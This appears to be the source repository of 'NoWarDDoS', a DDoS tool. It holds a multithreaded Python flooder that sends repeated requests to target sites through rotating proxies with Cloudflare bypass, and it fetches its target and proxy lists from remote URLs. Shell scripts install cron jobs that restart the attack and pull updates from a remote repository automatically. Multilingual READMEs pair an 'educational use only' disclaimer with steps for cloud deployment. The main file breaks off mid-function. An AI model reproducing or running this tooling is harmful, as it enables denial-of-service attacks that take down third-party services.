├── version.txt ├── .gitignore ├── docker-compose.yml ├── Dockerfile ├── requirements.txt ├── atomic_counter.py ├── .github └── workflows │ └── build.yml ├── update.sh ├── target └── pylist.json ├── settings.py ├── README_ko.md ├── RemoteProvider.py ├── README_en.md ├── README_ru.md ├── README.md ├── README_pt.md ├── README_fr.md ├── flood.sh └── main.py /version.txt: -------------------------------------------------------------------------------- 1 | 15-17-27 -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | *.iml 3 | .vscode/ 4 | venv/ 5 | build/ 6 | dist/ 7 | __pycache__/ 8 | .DS_STORE 9 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | services: 3 | attacker: 4 | build: . 5 | restart: on-failure 6 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Base image 2 | FROM python:3.8-alpine 3 | 4 | COPY *.py /nowarddos/ 5 | COPY requirements.txt /nowarddos/ 6 | 7 | WORKDIR /nowarddos 8 | RUN pip install -r requirements.txt 9 | 10 | ENTRYPOINT ["python3", "/nowarddos/main.py"] 11 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | beautifulsoup4==4.10.0 2 | names==0.3.0 3 | cloudscraper==1.2.58 4 | loguru==0.6.0 5 | requests 6 | urllib3==1.26.7 7 | uuid==1.30 8 | PySocks==1.7.1 9 | pyuseragents==1.0.5 10 | argparse==1.4.0 11 | pydantic==1.9.0 12 | cachetools==5.0.0 13 | -------------------------------------------------------------------------------- /atomic_counter.py: -------------------------------------------------------------------------------- 1 | import itertools 2 | import threading 3 | 4 | class AtomicCounter(object): 5 | def __init__(self): 6 | self._number_of_read = 0 7 | self._counter = itertools.count() 8 | self._read_lock = threading.Lock() 9 | 10 | def increment(self): 11 | next(self._counter) 12 | 13 | def value(self): 14 | with self._read_lock: 15 | value = next(self._counter) - self._number_of_read 16 | self._number_of_read += 1 17 | return value -------------------------------------------------------------------------------- /.github/workflows/build.yml: -------------------------------------------------------------------------------- 1 | name: Build 2 | on: 3 | push: 4 | branches: 5 | - main 6 | jobs: 7 | build: 8 | runs-on: ubuntu-latest 9 | steps: 10 | - uses: actions/checkout@v3 11 | 12 | - id: 'auth' 13 | uses: 'google-github-actions/auth@v0' 14 | with: 15 | credentials_json: '${{ secrets.GCP_CREDENTIALS }}' 16 | 17 | - name: 'Set up Cloud SDK' 18 | uses: 'google-github-actions/setup-gcloud@v0' 19 | 20 | - name: Configure docker for GCP 21 | run: gcloud auth configure-docker 22 | 23 | - name: Build docker image 24 | run: docker build -t gcr.io/${{ secrets.GCP_PROJECT_ID }}/nowarddos:latest . 25 | 26 | - name: Push to Google Container Registry 27 | run: docker push gcr.io/${{ secrets.GCP_PROJECT_ID }}/nowarddos:latest 28 | -------------------------------------------------------------------------------- /update.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd "$1" # dir with python script 3 | 4 | # check if update is required 5 | server_version=$(curl -L -s https://gitlab.com/a_gonda/nowarddos/-/raw/main/version.txt | head) 6 | local_version=$(cat version.txt) 7 | 8 | if [ "$server_version" = "$local_version" ]; then 9 | echo "No update is required. Installed latest version: $local_version" 10 | exit 1 11 | fi 12 | 13 | echo "Update is required. Server version is $server_version. Local version is $local_version" 14 | 15 | cd "$( dirname "$1" )" # parent dir of python script 16 | git clone "https://gitlab.com/a_gonda/nowarddos.git" "tmp" || exit 1 17 | kill -9 $(pgrep python3) &> /dev/null 18 | 19 | rm -rf "$1" 20 | mv "tmp" "$1" 21 | 22 | rm -rf ../logs && \ 23 | mkdir -p ../logs && touch ../logs/nowar.log && \ 24 | 25 | cd "$1" 26 | # for migration from docker to direct python run: stop currently running containers, if any 27 | docker-compose -f docker-compose.yml down &> /dev/null 28 | 29 | # start python script directly 30 | nohup python3 main.py > ../logs/nowar.log 2>&1 -------------------------------------------------------------------------------- /target/pylist.json: -------------------------------------------------------------------------------- 1 | [{"package": "beautifulsoup4", "version": "4.10.0", "deps": [{"package": "soupsieve", "version": "2.3.1"}]}, {"package": "names", "version": "0.3.0", "deps": []}, {"package": "cloudscraper", "version": "1.2.58", "deps": [{"package": "pyparsing", "version": "3.0.7"}, {"package": "charset-normalizer", "version": "2.0.12"}, {"package": "urllib3", "version": "1.26.7"}, {"package": "requests-toolbelt", "version": "0.9.1"}, {"package": "certifi", "version": "2021.10.8"}, {"package": "requests", "version": "2.27.1"}, {"package": "idna", "version": "3.3"}]}, {"package": "loguru", "version": "0.6.0", "deps": []}, {"package": "requests", "version": "2.27.1", "deps": [{"package": "urllib3", "version": "1.26.7"}, {"package": "idna", "version": "3.3"}, {"package": "certifi", "version": "2021.10.8"}, {"package": "charset-normalizer", "version": "2.0.12"}]}, {"package": "urllib3", "version": "1.26.7", "deps": []}, {"package": "uuid", "version": "1.30", "deps": []}, {"package": "pysocks", "version": "1.7.1", "deps": []}, {"package": "pyuseragents", "version": "1.0.5", "deps": []}] -------------------------------------------------------------------------------- /settings.py: -------------------------------------------------------------------------------- 1 | from functools import lru_cache 2 | from typing import List 3 | 4 | from pydantic import BaseSettings 5 | 6 | _DEFAULT_SITES_HOSTS = [ 7 | "https://gitlab.com/jacobean_jerboa/sample/-/raw/main/sample", 8 | "https://raw.githubusercontent.com/opengs/uashieldtargets/v2/sites.json", 9 | ] 10 | _DEFAULT_PROXIES_HOSTS = [ 11 | "https://raw.githubusercontent.com/opengs/uashieldtargets/v2/proxy.json" 12 | ] 13 | 14 | _DEFAULT_TARGETS = [ 15 | # There ypu can put your own targets 16 | ] 17 | 18 | 19 | class Settings(BaseSettings): 20 | VERSION: int = 20 21 | MAX_THREADS: int = 500 22 | SITES_HOSTS: List[str] = _DEFAULT_SITES_HOSTS 23 | PROXIES_HOSTS: List[str] = _DEFAULT_PROXIES_HOSTS 24 | DEFAULT_TARGETS: List[str] = _DEFAULT_TARGETS 25 | MAX_REQUESTS_TO_SITE: int = 500 26 | TARGET_UPDATE_RATE: int = 120 27 | READ_TIMEOUT: int = 10 28 | BROWSER: dict = {"browser": "firefox", "platform": "android", "mobile": True} 29 | HEADERS_TEMPLATE: dict = { 30 | "Content-Type": "application/json", 31 | "cf-visitor": "https", 32 | "User-Agent": None, 33 | "Connection": "keep-alive", 34 | "Accept": "application/json, text/plain, */*", 35 | "Accept-Language": "ru", 36 | "x-forwarded-proto": "https", 37 | "Accept-Encoding": "gzip, deflate, br", 38 | } 39 | 40 | 41 | @lru_cache() 42 | def get_settings(): 43 | return Settings() 44 | -------------------------------------------------------------------------------- /README_ko.md: -------------------------------------------------------------------------------- 1 | [Ukrainian](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README.md) | [Russian](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_ru.md) | [French](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_fr.md) | [English](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_en.md) | [Portuguese](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_pt.md) | 2 | 3 | # Korean: 4 | # NoWarDDoS 5 | 6 | **경고! 교육 목적으로만 사용하십시오. 자신의 리소스에 대해서만 DDOS 공격을 시도할 수 있습니다. 7 | 다른 사이트에서 DDOS 공격을 사용하는 것은 불법이며 법으로 처벌받을 수 있습니다.** 8 |
9 |
▪ 파이썬 3.8 이상을 설치 ("경로를 추가" 반드시 체크) 10 | ![alt text](https://miro.medium.com/max/1344/0*7nOyowsPsGI19pZT.png) 11 |
▪ 터미널을 열고, 압축 풀기 12 |
▪ 루트에서 사용 가능한 명령을 입력합니다. 13 | ``` 14 | 1). run -> 컨테이너를 시작합니다. 예: ./flood.sh run 3 #여기서 '3'은 컨테이너 수입니다. 15 | 2). status -> 실행 중인 컨테이너 수의 상태를 표시합니다. 예시: ./flood.sh status 16 | 3). log -> 실행 중인 첫 번째 컨테이너의 로그를 표시합니다. 예시: ./flood.sh logs 17 | 4). net -> nload eth0을 통한 현재 트래픽을 표시합니다. 예시: ./flood.sh logs net 18 | 5). stop -> 컨테이너 실행을 중지합니다. 예시: ./flood.sh stop 19 | ``` 20 | 컨테이너가 시작되고 자동으로 다시 로드되고 업데이트됩니다. 21 | 22 | 참고: 속도는 현재 대상에 따라 크게 달라지며 사이트가 느리게 작동할수록 속도가 느려집니다. 23 | 그들 중 더 많은 거짓말 - 속도도 더 낮을 수 있습니다 24 | 25 |
**ModuleNotFoundError** 또는 기타 관련 오류가 발생하면 다음을 시도하세요. 26 | ``` 27 | Windows: python -m pip install --upgrade pip 28 | pip install -r requirements.txt 29 | 30 | macOS/Linux: python3 -m pip install --upgrade pip 31 | pip3 install -r requirements.txt 32 | ``` 33 | 34 |
문제가 있으면 도와드리겠습니다 **Telegram:** @esen1n25 35 | ## 완성된 이미지 `Docker`: 36 | ```shell 37 | docker pull registry.gitlab.com/a_gonda/nowarddos:latest 38 | ``` 39 | 40 | ## 클라우드의 새 인스턴스에 배포: 41 | ```shell 42 | https://gitlab.com/a_gonda/nowarddos.git && cd nowarddos/ && ./flood.sh run 3 43 | #자동 업데이트 및 자동 재시작으로 3개의 컨테이너를 시작합니다. 44 | ``` 45 | -------------------------------------------------------------------------------- /RemoteProvider.py: -------------------------------------------------------------------------------- 1 | import json 2 | from urllib.parse import unquote 3 | 4 | import cachetools.func 5 | import cloudscraper 6 | 7 | from settings import get_settings 8 | 9 | settings = get_settings() 10 | 11 | 12 | class RemoteProvider: 13 | def __init__(self, targets=None): 14 | self.targets = [unquote(target) for target in targets] if targets else None 15 | self._proxies = [] 16 | self.sites = [] 17 | self.scraper = cloudscraper.create_scraper( 18 | browser=settings.BROWSER, 19 | ) 20 | 21 | def _scrap_json(self, link): 22 | content = self.scraper.get(link).content 23 | try: 24 | data = json.loads(content) 25 | return data 26 | except json.decoder.JSONDecodeError: 27 | return [] 28 | 29 | @cachetools.func.ttl_cache(ttl=settings.TARGET_UPDATE_RATE) 30 | def get_target_sites(self): 31 | if self.targets: 32 | self.sites = self.targets 33 | else: 34 | self.sites = [] 35 | for host in settings.SITES_HOSTS: 36 | try: 37 | data = self._scrap_json(host) 38 | self.sites.extend([site.get("page") for site in data]) 39 | except Exception: 40 | pass 41 | return list(set(self.sites)) 42 | 43 | def _parse_text(self, link): 44 | content = self.scraper.get(link).content.decode("utf-8") 45 | return content.split("\n") 46 | 47 | @cachetools.func.ttl_cache(ttl=settings.TARGET_UPDATE_RATE) 48 | def get_proxies(self): 49 | for link in settings.PROXIES_HOSTS: 50 | try: 51 | self._proxies = self._scrap_json(link) 52 | except Exception as e: 53 | raise e 54 | return list(self._proxies) 55 | 56 | if __name__ == "__main__": 57 | provider = RemoteProvider() 58 | sites = provider.get_target_sites() -------------------------------------------------------------------------------- /README_en.md: -------------------------------------------------------------------------------- 1 | [Ukrainian](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README.md) | [Russian](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_ru.md) | [Korean](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_ko.md) | [French](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_fr.md) | [Portuguese](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_pt.md) 2 | 3 | # English: 4 | # NoWarDDoS 5 | **Warning! Use only for educational purposes. You can try a DDOS attack only on your own resource.
6 | Using DDOS attacks on other sites is illegal and punishable by law.** 7 |
8 |
▪ Install Python 3.8+ (mandatory enable "Add to path") 9 | ![alt text](https://miro.medium.com/max/1344/0*7nOyowsPsGI19pZT.png) 10 |
▪ Open terminal, unpack archive 11 |
▪ In root directory run next command: 12 | ``` 13 | 1). run -> Run containers. Example: ./flood.sh run 3 #Where '3' is the number of containers 14 | 2). status -> Displays the status of how many containers are running. Example: ./flood.sh status 15 | 3). log -> Displays the log of the first running container. Example: ./flood.sh logs 16 | 4). net -> Show current traffic through nload eth0. Example: ./flood.sh logs net 17 | 5). stop -> Stops running containers. Example: ./flood.sh stop 18 | ``` 19 | Containers will be launched and automatically reloaded and updated. 20 | 21 | Note: the speed is very dependent on the current targets, the slower the sites work, the slower the speed will be. 22 | The more of them down - the speed can also be less 23 | 24 |
If it throws an error related to **ModuleNotFoundError** or others, try: 25 | ``` 26 | Windows: python -m pip install --upgrade pip 27 | pip install -r requirements.txt 28 | 29 | macOS/Linux: python3 -m pip install --upgrade pip 30 | pip3 install -r requirements.txt 31 | ``` 32 | 33 |
If you have any problems, I will help you, please contact via **Telegram:** @esen1n25 34 | ## Finished image `Docker`: 35 | ```shell 36 | docker pull registry.gitlab.com/a_gonda/nowarddos:latest 37 | ``` 38 | 39 | ## Deploy to a new instance in the cloud: 40 | ```shell 41 | https://gitlab.com/a_gonda/nowarddos.git && cd nowarddos/ && ./flood.sh run 3 42 | #starts 3 containers with auto-update and auto-restart 43 | ``` 44 | -------------------------------------------------------------------------------- /README_ru.md: -------------------------------------------------------------------------------- 1 | [Ukrainian](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README.md) | [Korean](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_ko.md) | [French](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_fr.md) | [English](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_en.md) | [Portuguese](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_pt.md) 2 | 3 | # NoWarDDoS 4 | **Внимание! Используйте только в обучающих целях. Вы можете попробовать DDOS-атаку только на свой ресурс. 5 | Использование DDOS-атак на другие сайты является незаконным и наказуемым законом.** 6 | 7 | * Установите Python версии 3.8 или больше (обязательно отметить галочку "Add to path") 8 | ![alt text](https://miro.medium.com/max/1344/0*7nOyowsPsGI19pZT.png) 9 | * Октройте терминал (консоль), переходите в каталог, в которую распаковали нашу програму (с помощью cd) 10 | * В корне вводим доступные команды: 11 | ``` 12 | 1). run -> Запускает контейнеры. Пример: ./flood.sh run 3 #Где '3' - Количество контейнеров 13 | 2). status -> Выводит статус, сколько контейнеров запущено. Пример: ./flood.sh status 14 | 3). log -> Выводит лог первого запущенного контейнера. Пример: ./flood.sh logs 15 | 4). net -> Показывает текущий трафик через nload eth0. Пример: ./flood.sh logs net 16 | 5). stop -> Останавливает запущенные контейнеры. Пример: ./flood.sh stop 17 | ``` 18 | Контейнеры будут запущены и автоматически перегружаться и обновляться. 19 | 20 | Примечание: скорость очень зависит от текущих таргетов, чем медленнее работают сайты, тем скорость будет меньше. 21 | Чем больше их лежит – тем скорость тоже может быть меньше 22 | 23 |
Если выбивает ошибку связанную с **ModuleNotFoundError** или другие, попробуйте: 24 | ``` 25 | Windows: python -m pip install --upgrade pip 26 | pip install -r requirements.txt 27 | 28 | macOS/Linux: python3 -m pip install --upgrade pip 29 | pip3 install -r requirements.txt 30 | ``` 31 | 32 |
Если возникнут проблемы, я помогу вам, обращайтесь через **Telegram:** @esen1n25 33 | 34 | ## Готовый образ `Docker`: 35 | ```shell 36 | docker pull registry.gitlab.com/a_gonda/nowarddos:latest 37 | ``` 38 | 39 | ## Развертка на новом инстансе в облаке: 40 | ```shell 41 | https://gitlab.com/a_gonda/nowarddos.git && cd nowarddos/ && ./flood.sh run 3 42 | #запускает 3 контейнера с автоапдейтом и авторестартом 43 | ``` 44 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [English](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_en.md) | [Korean](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_ko.md) | [French](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_fr.md) | [Russian](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_ru.md) | [Portuguese](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_pt.md) | 2 | 3 | # Ukrainian: 4 | **Увага! Використовуйте тільки в навчальних цілях. Ви можете спробувати DDOS-атаку лише на власний ресурс.
5 | Використання DDOS-атак на інші сайти є незаконним і карається законом.** 6 |
7 |
▪ Встановлюємо Python 3.8+ (Обов'язково ставимо галку "Add to path") 8 | ![alt text](https://miro.medium.com/max/1344/0*7nOyowsPsGI19pZT.png) 9 |
▪ Відкриваємо термінал(консоль), переходимо в корінь, куди розпакували нашу програму командою cd 10 |
▪ В корені вводимо доступні команди: 11 | ``` 12 | 1). run -> Запускає контейнери. Приклад: ./flood.sh run 3 #Де '3' - Кількість контейнерів 13 | 2). status -> Виводить статус, скільки контейнерів запущено. Приклад: ./flood.sh status 14 | 3). log -> Виводить лог першого запущеного контейнера. Приклад: ./flood.sh logs 15 | 4). net -> Показує поточний трафік через nload eth0. Приклад: ./flood.sh logs net 16 | 5). stop -> Зупиняє запущені контейнери. Приклад: ./flood.sh stop 17 | ``` 18 | Контейнери буде запущено, та вони будуть автоматично перевантажуватися та оновлятися. 19 | 20 | Примітка: швидкість дуже залежить від поточних таргетів, чим повільніше сайти працюють, тим швидкість буде меншою. 21 | Чим більше їх лежить - тим швидкість теж може бути менше 22 | 23 |
Якщо вибиває помилку пов'язану з **ModuleNotFoundError** aбо інші, спробуйте: 24 | ``` 25 | Windows: python -m pip install --upgrade pip 26 | pip install -r requirements.txt 27 | 28 | macOS/Linux: python3 -m pip install --upgrade pip 29 | pip3 install -r requirements.txt 30 | ``` 31 | 32 |
Якщо виникнуть проблеми, я допоможу вам, звертайтесь через **Telegram:** @esen1n25 33 | 34 | ## Готовий образ `Docker`: 35 | ```shell 36 | docker pull registry.gitlab.com/a_gonda/nowarddos:latest 37 | ``` 38 | 39 | ## Розгортка на новому інстансі в хмарі: 40 | ```shell 41 | https://gitlab.com/a_gonda/nowarddos.git && cd nowarddos/ && ./flood.sh run 3 42 | #запускає 3 контейнери з автоапдейтом та авторестартом 43 | ``` 44 | -------------------------------------------------------------------------------- /README_pt.md: -------------------------------------------------------------------------------- 1 | [English](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_en.md) | [Korean](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_ko.md) | [French](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_fr.md) | [Russian](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_ru.md) | [Portuguese](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_pt.md) | 2 | # Português: 3 | # NoWarDDoS 4 | **Atenção! Use apenas para fins educacionais. Você pode tentar um ataque DDOS apenas em seu recurso. 5 | Usar ataques DDOS em outros sites é ilegal e punível por lei.** 6 |
7 |
▪ Instale o Python 3.8+ (Certifique-se de marcar a caixa "Add to path") 8 | ![alt text](https://miro.medium.com/max/1344/0*7nOyowsPsGI19pZT.png) 9 |
▪ Abra o terminal (console), vá até a raiz, onde descompactamos nosso programa com o comando cd 10 |
▪ Na raiz, digite os comandos disponíveis: 11 | ``` 12 | 1). run ->Lança contêineres. Exemplo: ./flood.sh run 3 #Onde '3' - Número de contêineres 13 | 2). status -> Exibe o status de quantos contêineres estão em execução. Exemplo: ./flood.sh status 14 | 3). log ->Exibe o log do primeiro contêiner em execução. Exemplo: ./flood.sh logs 15 | 4). net -> Mostra o tráfego atual por meio de nload eth0. Exemplo: ./flood.sh logs net 16 | 5). stop -> Interrompe a execução de contêineres. Exemplo: ./flood.sh stop 17 | ``` 18 | Os contêineres serão lançados e recarregados e atualizados automaticamente. 19 | 20 | Nota: a velocidade depende muito dos alvos atuais, quanto mais lentos os sites funcionarem, mais lenta será a velocidade. 21 | Quanto mais eles mentem - a velocidade também pode ser menor 22 | 23 |
Se lançar um erro relacionado a **ModuleNotFoundError** ou outros, tente: 24 | ``` 25 | Windows: python -m pip install --upgrade pip 26 | pip install -r requirements.txt 27 | 28 | macOS/Linux: python3 -m pip install --upgrade pip 29 | pip3 install -r requirements.txt 30 | ``` 31 | 32 |
Se você tiver algum problema, eu te ajudarei, entre em contato via **Telegram:** @esen1n25 33 | 34 | ## Imagem finalizada `Docker`: 35 | ```shell 36 | docker pull registry.gitlab.com/a_gonda/nowarddos:latest 37 | ``` 38 | 39 | ## Implantar em uma nova instância na nuvem: 40 | ```shell 41 | https://gitlab.com/a_gonda/nowarddos.git && cd nowarddos/ && ./flood.sh run 3 42 | #starts 3 containers com atualização e reinicialização automáticas 43 | ``` 44 | -------------------------------------------------------------------------------- /README_fr.md: -------------------------------------------------------------------------------- 1 | [Ukrainian](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README.md) | [Russian](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_ru.md) | [Korean](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_ko.md) | [English](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_en.md) | [Portuguese](https://github.com/AlexTrushkovsky/NoWarDDoS/blob/main/README_pt.md) | 2 | 3 | # Francais: 4 | # NoWarDDoS 5 | **Avertissement! Utiliser uniquement à des fins éducatives. Vous ne pouvez tenter une attaque DDOS que sur votre propre ressource. 6 | L'utilisation d'attaques DDOS sur d'autres sites est illégale et punie par la loi.** 7 |
8 |
▪ Installe Python 3.8+ (obligatoire sous windows: "Add to path") 9 | ![alt text](https://miro.medium.com/max/1344/0*7nOyowsPsGI19pZT.png) 10 |
▪ Ouvre le terminal, unpack l'archive 11 |
▪ A la racine, entrez les commandes disponibles: 12 | ``` 13 | 1). run -> Lance des conteneurs. Exemple: ./flood.sh run 3 #Où '3' est le nombre de conteneurs 14 | 2). status -> Affiche l'état du nombre de conteneurs en cours d'exécution. Exemple: ./flood.sh status 15 | 3). log -> Affiche le journal du premier conteneur en cours d'exécution. Exemple: ./flood.sh logs 16 | 4). net -> Affiche le trafic actuel via nload eth0. Exemple: ./flood.sh logs net 17 | 5). stop -> Arrête l'exécution des conteneurs. Exemple: ./flood.sh stop 18 | ``` 19 | Les conteneurs seront lancés et automatiquement rechargés et mis à jour. 20 | 21 | Remarque : la vitesse est très dépendante des objectifs actuels, plus les sites fonctionnent lentement, plus la vitesse sera lente. 22 | Plus ils mentent - la vitesse peut aussi être moindre 23 | 24 |
S'il génère une erreur liée à **ModuleNotFoundError** ou autres, essayez : 25 | ``` 26 | Windows: python -m pip install --upgrade pip 27 | pip install -r requirements.txt 28 | 29 | macOS/Linux: python3 -m pip install --upgrade pip 30 | pip3 install -r requirements.txt 31 | ``` 32 | 33 |
Si vous rencontrez des problèmes, je vous aiderai, veuillez contacter via **Telegram:** @esen1n25 34 | ## Image terminée `Docker`: 35 | ```shell 36 | docker pull registry.gitlab.com/a_gonda/nowarddos:latest 37 | ``` 38 | 39 | ## Déployer sur une nouvelle instance dans le cloud: 40 | ```shell 41 | https://gitlab.com/a_gonda/nowarddos.git && cd nowarddos/ && ./flood.sh run 3 42 | #démarre 3 conteneurs avec mise à jour automatique et redémarrage automatique 43 | ``` 44 | -------------------------------------------------------------------------------- /flood.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | run() { 3 | yes | apt-get update && \ 4 | yes | apt install python3-pip && \ 5 | apt install nload && \ 6 | cp update.sh .. && \ 7 | pip3 install -r requirements.txt && \ 8 | 9 | crontab -r 10 | 11 | restart_croncmd="cd $(pwd) && sh flood.sh restart" 12 | restart_cronjob="0,15,45 * * * * $restart_croncmd" 13 | ( crontab -l | grep -v -F "$restart_croncmd" ; echo "$restart_cronjob" ) | crontab - 14 | 15 | update_parent_dir=$(cd ../ && pwd) 16 | update_current_dir=$(pwd) 17 | update_croncmd="cd ${update_parent_dir} && sh update.sh ${update_current_dir}" 18 | update_cronjob="30 * * * * $update_croncmd" 19 | ( crontab -l | grep -v -F "$update_croncmd" ; echo "$update_cronjob" ) | crontab - 20 | 21 | rm -rf ../logs 22 | mkdir -p ../logs 23 | touch ../logs/nowar.log 24 | nohup python3 main.py > ../logs/nowar.log 2>&1 & 25 | 26 | echo ">>> 27 | 28 | Автоматизацію підключено. Скрипт буде перезавантажуватися кожні 15 хв, та оновлюватися - кожну годину. 29 | Подивитись логи: ./flood.sh log. Перелік інших команд: ./flood.sh ? 30 | 31 | Слава Україні! Ми переможемо! 32 | 33 | <<<" 34 | } 35 | 36 | status() { 37 | pid=$(pgrep python3) 38 | if [ "$pid" ]; then 39 | echo "NoWar is running with PID: $pid. To view logs, run: 40 | ./flood.sh log" 41 | else 42 | echo "NoWar is not running. To start it, run: 43 | ./flood.sh run" 44 | fi 45 | } 46 | 47 | restart() { 48 | cp update.sh .. && \ 49 | 50 | # temporary block - for migration from docker to direct python run: 51 | # stop currently running containers, if any 52 | docker-compose -f docker-compose.yml down &> /dev/null && \ 53 | 54 | kill -9 $(pgrep python3) &> /dev/null && \ 55 | rm -rf ../logs && \ 56 | mkdir -p ../logs && touch ../logs/nowar.log && \ 57 | 58 | # temporary block - remove after migration from docker to python is complete 59 | yes | apt-get update && \ 60 | yes | apt install python3-pip && \ 61 | apt install nload && \ 62 | pip3 install -r requirements.txt && \ 63 | 64 | nohup python3 main.py > ../logs/nowar.log 2>&1 & 65 | } 66 | 67 | stop() { 68 | kill -9 $(pgrep python3) &> /dev/null 69 | rm -rf ../logs 70 | } 71 | 72 | log() { 73 | log_file="../logs/nowar.log" 74 | if [ -f "${log_file}" ]; then 75 | tail -f -n 100 ${log_file} 76 | else 77 | echo "There is no log file: ${log_file}. Is script currently running? To check, type: 78 | ./flood.sh status" 79 | fi 80 | } 81 | 82 | net() { 83 | nload eth0 84 | } 85 | 86 | case "$1" in 87 | run) 88 | run "$@"; exit $?;; 89 | status) 90 | status "$@"; exit $?;; 91 | restart) 92 | restart "$@"; exit $?;; 93 | stop) 94 | stop "$@"; exit $?;; 95 | log) 96 | log "$@"; exit $?;; 97 | net) 98 | net "$@"; exit $?;; 99 | *) 100 | echo "Usage: $0 101 | run 102 | status 103 | restart 104 | log 105 | net 106 | stop"; 107 | exit 1; 108 | esac 109 | exit 0 -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | import random 4 | 5 | from argparse import ArgumentParser 6 | from concurrent.futures import ThreadPoolExecutor 7 | from sys import stderr 8 | from threading import Thread 9 | from time import sleep 10 | from random import choice 11 | 12 | import cloudscraper 13 | from loguru import logger 14 | from pyuseragents import random as random_useragent 15 | from urllib3 import disable_warnings 16 | 17 | from atomic_counter import AtomicCounter 18 | last_count = 0 19 | last_proxied_count = 0 20 | 21 | from threading import RLock 22 | lock = RLock() 23 | targets_per_min = {} 24 | 25 | from settings import get_settings 26 | settings = get_settings() 27 | 28 | from RemoteProvider import RemoteProvider 29 | 30 | disable_warnings() 31 | 32 | parser = ArgumentParser() 33 | parser.add_argument('threads', nargs='?', default=settings.MAX_THREADS) 34 | parser.add_argument("-n", "--no-clear", dest="no_clear", action='store_true') 35 | parser.add_argument("-p", "--proxy-view", dest="proxy_view", action='store_true') 36 | parser.add_argument("-t", "--targets", dest="targets", nargs='+', default=[]) 37 | parser.set_defaults(verbose=False) 38 | parser.add_argument("-lo", "--logger-output", dest="logger_output") 39 | parser.add_argument("-lr", "--logger-results", dest="logger_results") 40 | parser.set_defaults(no_clear=False) 41 | parser.set_defaults(proxy_view=False) 42 | parser.set_defaults(logger_output=stderr) 43 | parser.set_defaults(logger_results=stderr) 44 | args, unknown = parser.parse_known_args() 45 | no_clear = args.no_clear 46 | proxy_view = args.proxy_view 47 | 48 | remoteProvider = RemoteProvider(args.targets) 49 | threads = int(args.threads) 50 | 51 | submitted_tasks = [] 52 | executor = ThreadPoolExecutor(max_workers=threads * 2) 53 | counter = AtomicCounter() 54 | proxied_counter = AtomicCounter() 55 | 56 | logger.remove() 57 | logger.add( 58 | args.logger_output, 59 | format="{time:HH:mm:ss} | {level: <8} |\ 60 | {line} - {message}") 61 | logger.add( 62 | args.logger_results, 63 | format="{time:HH:mm:ss} | {level: <8} |\ 64 | {line} - {message}", 65 | level="SUCCESS") 66 | 67 | 68 | def check_req(): 69 | os.system("python3 -m pip install -r requirements.txt") 70 | os.system("python -m pip install -r requirements.txt") 71 | os.system("pip install -r requirements.txt") 72 | os.system("pip3 install -r requirements.txt") 73 | 74 | 75 | def mainth(site: str): 76 | scraper = cloudscraper.create_scraper(browser=settings.BROWSER, ) 77 | count_attacks_for_current_site = 0 78 | 79 | headers_http = { 80 | 'Content-Type': 'text/html;', 81 | 'Connection': 'keep-alive', 82 | 'Accept': 'text/*, text/html, text/html;level=1, */*', 83 | 'Accept-Language': 'ru', 84 | 'Accept-Encoding': 'gzip, deflate, br', 85 | 'User-Agent': random_useragent() 86 | } 87 | 88 | try: 89 | probe = scraper.get(site, headers=headers_http, timeout=settings.READ_TIMEOUT) 90 | if probe.status_code >= 302: 91 | # use 10 random proxies from a list 92 | sampled_proxies = random.sample(remoteProvider.get_proxies(), 50) 93 | for proxy in sampled_proxies: 94 | if count_attacks_for_current_site >= settings.MAX_REQUESTS_TO_SITE: 95 | return 96 | 97 | proxy_ip = proxy.get("ip") 98 | proxy_scheme = proxy.get("scheme") 99 | selected_proxies = { 100 | 'http': f'{proxy_scheme}://{proxy_ip}', 101 | 'https': f'{proxy_scheme}://{proxy_ip}' 102 | } 103 | response = scraper.get(site, headers=headers_http, proxies=selected_proxies, timeout=settings.READ_TIMEOUT) 104 | 105 | proxied_status_code = response.status_code 106 | # logger.info(f"{site} -> {proxied_status_code}") 107 | if 200 <= proxied_status_code <= 302: 108 | while count_attacks_for_current_site < settings.MAX_REQUESTS_TO_SITE: 109 | response = scraper.get(site, headers=headers_http, timeout=settings.READ_TIMEOUT) 110 | if response.status_code >= 400: 111 | break 112 | proxied_counter.increment() 113 | count_attacks_for_current_site += 1 114 | increment_global_counters(site) 115 | 116 | else: 117 | while count_attacks_for_current_site < 